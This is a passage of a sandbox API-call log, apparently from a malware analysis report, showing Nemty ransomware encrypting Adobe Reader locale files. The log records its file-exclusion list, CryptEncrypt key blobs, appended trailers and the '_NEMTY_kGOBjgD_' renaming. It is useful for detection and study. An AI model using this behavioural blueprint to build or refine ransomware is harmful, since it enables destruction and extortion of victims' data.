dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.POL", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.POL", lpUsedDefaultChar=0x0) returned 12 [0181.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0181.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.215] Sleep (dwMilliseconds=0x5) [0181.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1faa0a10, dwHighDateTime=0x1d561e8)) [0181.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1faa0a10, dwHighDateTime=0x1d561e8)) [0181.224] GetLastError () returned 0x12 [0181.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.224] GetLastError () returned 0x12 [0181.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.224] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.224] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.225] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.225] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Ybg8CL7Ns8cRLyhztG1jcInLsLXWWNrqW4wCnt44nCv/v4QBhyxGIbdju2zjAJfM\r\nYEfOzeiXVS2dZsdojCmC7+h5rhKDGH/brbpFauG6lLAMC+L/eeHVx+M1LgQrAWsD\r\nsjx7wg9VnyuUjoZi6FMzfyuxuQFFty84+YUz0U7atzhWok0gJyJG/+3hm4IYH5Ym\r\nAruO3Iohjs6P38mgnlWyALf+6YvgzyUF7ETeV+RUSyMxuY+RZOiVzWodDL2sZO3G\r\nyrXhEwyE6zZZ9sHYn7vASLmFUaRJcJ1D3i7xYzofjtWC7YCMajlIMxJziYugZnZ9\r\nwrOF/3Eib3D190JRRzooTQ==\r\n", pcchString=0x653e5dc) returned 1 [0181.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.225] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Spelling.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\spelling.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.225] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0181.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0181.225] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.225] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0181.228] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.228] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0181.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.228] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0181.228] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.228] CloseHandle (hObject=0x2e8) returned 1 [0181.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.229] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Spelling.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\spelling.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Spelling.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\spelling.pol._nemty_kgobjgd_")) returned 1 [0181.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.229] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.POL", cAlternateFileName="")) returned 1 [0181.229] lstrcmpiW (lpString1="updater.POL", lpString2=".") returned 1 [0181.229] lstrcmpiW (lpString1="updater.POL", lpString2="..") returned 1 [0181.229] lstrcmpiW (lpString1="updater.POL", lpString2="...") returned 1 [0181.229] lstrcmpiW (lpString1="updater.POL", lpString2="windows") returned -1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="$RECYCLE.BIN") returned 1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="rsa") returned 1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="NTDETECT.COM") returned 1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="ntldr") returned 1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="MSDOS.SYS") returned 1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="IO.SYS") returned 1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="boot.ini") returned 1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="boot.ini") returned 1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="AUTOEXEC.BAT") returned 1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="ntuser.dat") returned 1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="desktop.ini") returned 1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="CONFIG.SYS") returned 1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="RECYCLER") returned 1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="BOOTSECT.BAK") returned 1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="bootmgr") returned 1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="programdata") returned 1 [0181.230] lstrcmpiW (lpString1="updater.POL", lpString2="appdata") returned 1 [0181.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.POL", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.POL", lpUsedDefaultChar=0x0) returned 11 [0181.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.POL", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.POL", lpUsedDefaultChar=0x0) returned 11 [0181.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.POL", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.POL", lpUsedDefaultChar=0x0) returned 11 [0181.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.POL", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.POL", lpUsedDefaultChar=0x0) returned 11 [0181.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.231] Sleep (dwMilliseconds=0x5) [0181.239] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fac6b70, dwHighDateTime=0x1d561e8)) [0181.239] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fac6b70, dwHighDateTime=0x1d561e8)) [0181.239] GetLastError () returned 0x0 [0181.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.239] GetLastError () returned 0x0 [0181.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.239] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.239] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.239] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.239] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="lZ0TdvukTlrs5v+foxmZclbL52nKUun7WNhoKgMXmPUGLdKcun+IzS/06qqMo1AO\r\nf6C60bab1lGzBR5KjwvpGjzphi4Wutp9OtcPyuCoCPgY/270fGZA5KMWFk5o2nje\r\nwgkj06jgSS5EElfI/KVitIpNkDPgb9cntN1tgSrGxb2h82ezSsISxhbFOYQx8x1c\r\n+Emt6NVhmADc/2D8T86jLwPF/GFrqHHINOyI0LmPHd2vtrjuYdJRyD562WX5cAOy\r\ns8jn1gdu2gXQT5UwQMd04DIN9nM9Ud3AVnVX1nf80EDccmhmworW4+Fy9ccwB6wX\r\nIW4+dTRwkAWHRGMCrHZeYw==\r\n", pcchString=0x653e5dc) returned 1 [0181.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.239] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\updater.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\updater.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.240] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0181.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0181.240] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.241] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0181.243] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.243] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0181.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.243] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0181.243] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.243] CloseHandle (hObject=0x2e8) returned 1 [0181.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.244] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\updater.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\updater.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\updater.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\updater.pol._nemty_kgobjgd_")) returned 1 [0181.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.245] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="WebLink.POL", cAlternateFileName="")) returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2=".") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="..") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="...") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="windows") returned -1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="$RECYCLE.BIN") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="rsa") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="NTDETECT.COM") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="ntldr") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="MSDOS.SYS") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="IO.SYS") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="boot.ini") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="boot.ini") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="AUTOEXEC.BAT") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="ntuser.dat") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="desktop.ini") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="CONFIG.SYS") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="RECYCLER") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="BOOTSECT.BAK") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="bootmgr") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="programdata") returned 1 [0181.245] lstrcmpiW (lpString1="WebLink.POL", lpString2="appdata") returned 1 [0181.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.245] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.245] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.POL", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.POL", lpUsedDefaultChar=0x0) returned 11 [0181.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.245] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.POL", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.POL", lpUsedDefaultChar=0x0) returned 11 [0181.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.246] RtlAllocateHeap 